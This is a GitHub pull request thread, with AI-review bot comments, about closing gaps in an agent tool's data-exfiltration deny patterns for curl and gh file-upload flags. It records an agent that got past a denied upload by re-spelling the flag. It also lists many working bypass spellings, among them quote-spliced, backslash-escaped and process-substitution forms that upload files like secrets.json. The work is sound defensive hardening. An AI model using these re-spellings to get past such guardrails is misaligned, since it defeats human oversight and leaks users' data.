fix(security): close long-form data-exfiltration flag gaps

[atomsbaza]

Problem / Motivation

The builtin data-exfiltration deny patterns blocked the short spelling of file-loading flags but let the documented long/alternate spellings of the same capability through:

• gh api -F body=@local/file.md → blocked, but gh api -X POST <endpoint> --input local/file.json → allowed
• curl -F k=@f → blocked, but curl --form="k=@f" / curl -Fk=@f → allowed

The reporter's account makes the symptom concrete: their agent's short form was denied, so it re-spelled the command with --input and the upload went through. A deny pattern with a spelling gap produces exactly one round of friction and then teaches the agent that the guardrail is bypassable.

Why it matters

These patterns are the enforced (denied-at-gate) subset of the bash security audit — the ones a hijacked agent must not get past. Any documented flag spelling that loads a local file into a request body and is not matched is a routing-around path for data egress, on every install, with no user-visible warning. --input is gh's primary documented way to send a request body, so the gap is on the main path, not an edge case.

What changed (motivation → approach → change)

Approach: match the capability, not the spelling. Scope declaration: the new regexes themselves stay inside the existing \_BASH_EXFIL_RES mechanism (word-boundary anchors, human-readable labels, deny-message wording unchanged), but closing the review-found bypasses required two pieces of new machinery beyond that mechanism, declared here explicitly: (a) src/kiro_crew/security/shell_normalizer.py — a ~170-line quote-aware and substitution-aware splitter (_split_unquoted_separators) reused from the repo's central shell state machine, which backs a token-level "view pass" that sees through quote-splicing (-F'foo bar=@f', --in''put) that raw regexes cannot; and (b) a backslash-normalized prefilter view in exfil.py, so shell-escaped program names (g\h, c\url) open the same gate as quote-spliced ones. The rest of the change:

1. curl multipart = separator — new regex anchored on --form / -F at a word boundary, then optional =, optional quoted field name, =, and the @ file sigil. Case-sensitive like the existing -T regex so lowercase -f (sort -f … @x) cannot match; --form-string explicitly excluded (it never reads a file). The new label maps onto the existing data-exfil-curl-multipart-upload catalog row, so one toggle governs all multipart spellings.
2. gh request body from a local file — new regex anchored on the gh api|repo|release subcommands (the ones that accept --input/--field) before the flag, so curl/wget commands and a bare gh elsewhere (nightly gh-sync, hover api) do not false-positive. gh api -F k=v (inline value) and --input - (stdin) stay allowed; the @file spellings of -F remain covered by the existing -F *=@ glob.

--data-raw keeps its deliberate exclusion (it never interprets @ as a file reference). Match semantics for already-covered shapes are unchanged. docs/system-specs/modules/security.md updated in the same commit per AGENTS.md.

Tests

New tests in test/test_security.py pin each behavior:

• gh api --input <path> and gh repo edit --field k=@f.txt → denied
• gh issue view 1, gh api -F k=v (inline), --input - (stdin) → allowed
• curl --form="k=@f", curl -Fk=@f, curl --form=k=@f → denied
• curl --form k=x (no @), curl --form-string k=@f, sort -f @x, curl --data-raw @x → allowed
• review-found bypasses, each with a regression test: g\h api gists --in''put secrets.json and c\url -F'foo bar=@f' (backslash-escaped program names) → denied; Windows-path arguments (ls C:\Users\x\notes.txt) → still allowed, no misparse; the gh request-body label now resolves in _BASH_EXFIL_RULE_BY_LABEL so an operator opt-out by label is honored (previously silently ignored)

Manual verification

N/A — unit coverage sufficient: the change is pure command-string pattern matching against audit_bash_exfiltration, exercised directly by the new tests; no UI, network, or process path involved.

Related Issues

Closes #7365

Pattern harvest

Rule candidate: review-prompt
Pattern: a deny/audit pattern table matching CLI flags by spelling must be checked against the tool's documented long forms and =-joined variants — every flag that loads a file needs all documented aliases covered, or the guardrail teaches agents to route around it.

Checklist

• At most two commits (one is the norm), with a Conventional Commits title
• Existing tests pass and new tests added for new functionality
• Self-review completed; code follows project style guidelines
• Documentation updated
• No secrets, credentials, or internal references in the diff

Contribution License Agreement

[iamwhatever]

👋 Hi! This PR's description is missing some required sections from our PR template. Workflow runs won't be auto-approved until the description is updated.

Missing sections:

• ## Problem / Motivation
• ## Why it matters
• ## What changed
• ## Tests

Please update your PR description to include these sections, then push or re-save the description. The workflows will be approved on the next cycle.

[github-actions]

Design Review (Fable 5, fork) — 🟡 CONCERNS

Design-level review of c1736901d7578f058a40b433e4f0e0964059a357 via the fork AI-review pipeline — updated in place on each push. A BLOCK verdict blocks PR readiness; PASS/CONCERNS are advisory.

Base-tree verification is done: the deny tier already runs quote-normalized views (_deny_segment_views), the new splitter correctly builds on the central _iter_shell_chars state machine, no existing test is weakened, and the "Manual verification: N/A" claim is legitimate (pure string matching, directly unit-tested). The design is aimed at the right control point — the exfil deny gate is the enforcement layer for network egress, which the OS sandbox does not fence, so per AGENTS.md this is the sanctioned case for new table entries. Two design-level risks remain.

Design-Verdict: CONCERNS

Sound capability-based fix at the right layer, but the anti-re-spelling machinery protects only the two new rules, leaving older exfil rules one re-spell away.

Watch

• Asymmetric hardening: the normalized-view pass and backslash prefilter are gated to _EXFIL_VIEW_LABELS ("Labels absent here stay raw-text-only, as before"), so the bypass class this PR treats as must-close for --input (--in''put, g\h) stays open on the pre-existing, more common egress rules — curl "-T" f slips the (?:^|\s)-T anchor, --data-bin''ary @f slips the substring table. A hijacked agent denied on the new rules re-spells onto an old one, which is exactly the "guardrail teaches routing-around" harm the PR names.
  Clears when: a follow-up extends the view pass to the remaining exfil patterns/regexes, or security.md records why they stay raw-text-only.
• The dq_subst_frame tracker re-implements quote tracking locally because _iter_shell_chars — documented as "the ONE quote/escape state machine" — desyncs on "$( … )". Other consumers of that machine (_split_push_command_segments, _deny_segment_views) presumably parse the same input with the same desync, and this bug class now needs re-fixing per consumer.
  Clears when: the desync is fixed or documented as a known limitation at _iter_shell_chars, with a note on whether other consumers are affected.

Suggestions

• The PR's own three review rounds (4+3+3 gaps) are the fix(security): gate traversals that reach a fence without find #7441 arms-race shape AGENTS.md flags; treat the next found re-spelling as the trigger to move all exfil rules onto the normalized view uniformly rather than a fourth regex round.

[DESIGN-REVIEWED] c173690

[github-actions]

Opus 4.8 Review (fork) — ✅ no blocking findings

Reviewed c1736901d7578f058a40b433e4f0e0964059a357 via the fork AI-review pipeline; updated in place on each push.

Review details

Based on my analysis of the diff and the base source of exfil.py:

CANDIDATE 1 (unanchored _EXFIL_MULTIPART_TOKEN_RE over-denies non-curl/gh commands): The module's established, documented behavior is broad unanchored denial on these exact flag shapes — base already denies -F *=@ and -d @ via unanchored fnmatch/substring on ANY command (_BASH_EXFIL_PATTERNS, comment at 1376: "ANY field name matches"). The new token check merely extends that accepted philosophy to the glued form, and is in fact narrower than base (it first requires a curl/gh substring). A concrete benign command newly blocked (grep -Fweight=@2 nightly.log) is contrived, and the over-denial is intended parity, not a defect of the changed lines. Below the bar; dropped.

CANDIDATE 2 (substring "gh" prefilter runs the tokenizer on ordinary commands; comment cost claim false): The only alleged wrong outcome is CPU cost, but _split_unquoted_separators/_shell_tokens and the tempered view regexes are all linear (the PR's own test_gh_anchor_scan_stays_linear / test_curl_multipart_whitespace_run_stays_linear pin this). No crash, no watchdog trip, no security effect — the sole issue is an inaccurate comment, which is not a reportable defect class here. Dropped.

Neither candidate yields a concrete, in-practice input with an observable wrong outcome at the required confidence, and neither is a blocking class (no security bypass, crash, data loss). No new grounded finding surfaced during falsification.

No findings.

[OPUS-REVIEWED] c173690

[github-actions]

First Principles Review (Fable 5, fork) — 🟡 CONCERNS

Premise-level review of c1736901d7578f058a40b433e4f0e0964059a357 via the fork AI-review pipeline — why this exists and whether the shipped surface is the smallest honest version. Updated in place on each push. A BLOCK verdict blocks PR readiness; PASS/CONCERNS are advisory.

All verification is done. The base tree confirms: 17 substring patterns in _BASH_EXFIL_PATTERNS and 3 pre-existing _BASH_EXFIL_RES regexes remain raw-text-only, while the new quote-normalized view pass covers only the two new labels — and the repo's own _deny_segment_views docstring already names this exact root cause ("every rule authored as a command SHAPE was defeated by re-spelling any one token"). The two core flag rules are derived from linked issue #7365, and the new splitter is meaningfully different from the two existing ones (it fuses substitutions, deny-more). Here is the review:

First-Principles-Verdict: CONCERNS

The ~300-line re-spelling machinery guards only the 2 new rules — curl --da''ta @f still passes; 20 sibling exfil branches stay raw-text-only.

Not justified as shipped

• Item 4 — rides along: closes the quote-splice/backslash class for only the 2 new labels; the defect in Data-exfiltration deny pattern misses the long-form file-body flags #7365 (plain long-form spellings) is removed by items 1–3 alone.
• Item 5 — rides along: exists only to serve item 4; one consumer (the exfil view pass).

What this change ships

Intent: stop a hijacked agent from re-spelling a denied file-upload flag into its documented long form — a FIX (#7365).

1. =-joined curl/gh multipart uploads (--form="k=@f", -Fk=@f, spaced/nested field names) now denied — justified
2. gh --input <path> / --field k=@f request bodies now denied; stdin - stays allowed — justified
3. Operator opt-out by catalog row governs both new denials — justified
4. Quote-spliced/backslash-escaped re-spellings of the two new rules denied via a normalized argv view — rides along
5. New substitution-aware segment splitter _split_unquoted_separators other code may call — rides along
6. Adversarial long inputs now reject in linear time (measured 19 s/68 s regressions pinned) — justified
7. security.md exfil row updated same-commit — justified

Watch

• Point patch on the re-spelling class: _EXFIL_VIEW_LABELS covers 2 branches; counted 17 _BASH_EXFIL_PATTERNS substrings + 3 base _BASH_EXFIL_RES labels stay raw-only (grepped both tables, exfil.py:1379–1417), so curl --da''ta @f and cu''rl -T f still pass after merge — the description's "match the capability, not the spelling" holds for 2 of 20. Ten review-found bypasses closed across three rounds inside one PR is the fix(security): gate traversals that reach a fence without find #7441 chase AGENTS.md warns about; the base's _deny_segment_views docstring already names this root cause for the deny tiers. Clears when: the view pass covers the sibling branches, or the sibling gap is recorded as accepted-deferred on Data-exfiltration deny pattern misses the long-form file-body flags #7365.

Subtractions

• Defer item 4+5 (the view pass, _EXFIL_VIEW_LABELS, _EXFIL_MULTIPART_TOKEN_RE, _split_unquoted_separators, ~300 lines) to the change that closes the re-spelling class for all _BASH_EXFIL_PATTERNS/_BASH_EXFIL_RES branches; items 1–3 fully close Data-exfiltration deny pattern misses the long-form file-body flags #7365 on their own.

[FIRST-PRINCIPLES-REVIEWED] c173690

[github-actions]

GPT 5.6 Review (fork) — 🔴 changes requested (blocking)

Reviewed c1736901d7578f058a40b433e4f0e0964059a357 via the fork AI-review pipeline; updated in place on each push.

1 of 1 blocking finding(s) are security-class and were withheld from adjudication, so the blocking verdict stands.

BLOCKING -- src/kiro_crew/security/shell_normalizer.py:2192 -- process-substitution separators bypass the exfiltration gate
and step.char in ";&|\n"
gh api gists > >(cat; true) --in''put secrets.json -> process-substitution body is split -> no normalized segment contains both gh and --input -> local file uploads.
Anchor: residual/security
Fix: Track <(...) and >(...) frames and suppress splitting inside them.
FINDING -- src/kiro_crew/security/exfil.py:1509 -- (?:^|[\s\(])treats argument text as a gh invocation, soecho gh api --input file` is denied -> Fix: require the gh token to occupy command position.
[BLOCK-MERGE] c173690
[GPT-REVIEWED] c173690

Adjudication (Opus 4.8) — is blocking on each finding proportionate?

I've read the prompt, the findings, and the diff. There are 0 adjudicable findings and 1 fenced finding (F1). Let me verify F1 against the code.

F1 concerns _split_unquoted_separators in the diff. Examining the separator-split machinery: a ( only increments subst_depth when a $( is already open (elif step.char == "(" and subst_depth: at patch line 382), so a bare process-substitution opener >( / <( at depth 0 is untracked. The separator check (step.char in ";&|\n" ... and not subst_depth, patch lines 394–401) therefore treats a ;/&/|/newline inside >(…) as a real boundary.

Confirming the end-to-end bypass for gh api gists > >(cat; true) --in''put secrets.json:

• Split at the ; inside >(…) yields gh api gists > >(cat and true) --in''put secrets.json — the second segment carries the (quote-respelled) flag but no gh anchor, so the view pass matches nothing.
• The raw scan runs on the full text but --in''put\b cannot match the ''-spliced spelling, so it misses too.
• bash treats the whole line as one command; gh reads the local file. Real data-egress bypass.

The condition combination — a process substitution containing a separator plus a quote-spliced flag — is exactly the adversarial-spelling family this PR is built to defend (it already handles $( ), backticks, and double-quote-nested substitutions). Process substitution <()/>() is a natural sibling left uncovered. It is not mutually-contradicting, not un-producible by the writer, not legacy-only; an LLM constructing an exfil command produces it trivially. So the record for a FLAG (extreme/acceptable residual risk) cannot be completed.

Harm rung: UNBOUNDED (bypass of the data-exfiltration governance gate). Conditions confirmed at shell_normalizer.py patch lines 382 (untracked () and 394–401 (separator split). Recovery: none — the file upload completes silently. Not extreme → UPHOLD-FENCED.

[ADJUDICATION] c1736901d7578f058a40b433e4f0e0964059a357 total=0 uphold=0 downgrade=0
[GPT-ADJUDICATED] c1736901d7578f058a40b433e4f0e0964059a357

[ADJUDICATION-FENCED] c1736901d7578f058a40b433e4f0e0964059a357 fenced=1 flagged=0
UPHOLD-FENCED F1 src/kiro_crew/security/shell_normalizer.py:2192 -- Process-substitution `>(…;…)` openers are untracked by the separator splitter, so a separator inside `>(…)` severs the gh anchor from a quote-respelled `--in''put`, evading both the view pass and the raw scan; this is an in-family adversarial spelling, not an extreme condition.
[GPT-ADJUDICATED-FENCED] c1736901d7578f058a40b433e4f0e0964059a357

[atomsbaza]

Force-pushed head to ab25cbaff675bfd2c767abf16c5a0acb43d74db4 addressing all GPT 5.6 findings:

• Nested -F bypass (BLOCKING): field-name class widened to [^\s\"=@]* (strict superset) so -F'files[x][content]=@secret.txt' is now caught.
• ReDoS (BLOCKING): separator (?:\s*=?\s*) → one whitespace run per alternative in both the multipart and gh --input/--field regexes. Measured: -F + 40k spaces 22.4s → ~1ms; gh --input + 40k spaces 15.7s → ~5ms. Union of separators is unchanged (nothing previously denied is now allowed).
• --input=- false deny (non-blocking): separator made unambiguous with the stdin lookahead behind it — --input=- no longer denied, --input=-body.json still denied.

Regression tests added to test/test_security.py (validated against the old regexes via monkeypatch: old code missed 2/3 nested PoCs and false-denied both stdin cases). Local verify: 1294 tests in security suite passed, flake8/mypy/black clean. Spec table updated in the same commit (docs/system-specs/modules/security.md).

Requesting workflow approval for this head.

[bolichen97]

@atomsbaza Audit note on this PR, audited at d70e80f.

Nothing of this PR's goal has landed on main yet. I checked origin/main for each new symbol: _split_unquoted_separators, _EXFIL_VIEW_LABELS and the (= separated) label are all absent, and the recent merged work near this code (#9189 on _exfil_url_warning, #8528 on denied_rules.py and the spec table) does not touch the bash exfil gate. The only multipart coverage on main is the fnmatch globs -F *=@ and --form *=@ in src/kiro_crew/security/exfil.py, which require a literal space after the flag, so curl -Fk=@f, curl --form=k=@f and every gh api --input <path> spelling still pass. The gap in #7365 is real and still open, so please keep this PR.

Three things block it as written:

1. The view-pass prefilter lowercases and strips quotes, then tests if "curl" in stripped or "gh" in stripped, so a backslash-escaped g\h or c\url skips the very normalization pass that would have de-escaped it.
2. The new gh request body from file label is the only exfil branch with no _BASH_EXFIL_RULE_BY_LABEL row, so an operator opt-out is silently ignored.
3. The description says the change stays inside the existing _BASH_EXFIL_RES mechanism, but it also adds a 171-line quote-aware and substitution-aware splitter in src/kiro_crew/security/shell_normalizer.py. Please declare that scope in the body, or split it into its own PR.

The branch is 32 commits behind main, so a rebase is needed. Also note #9269 and #9241 change the _iter_shell_chars semantics your new splitter reads, and #8579 and #9164 replace the paren-counting technique your fail-closed pre-pass uses; whichever side lands second should re-verify the other's tests.

Posted from the 2026-09-08 open-PR relationship audit (read-only, one auditor per PR); reply here if any of this is wrong.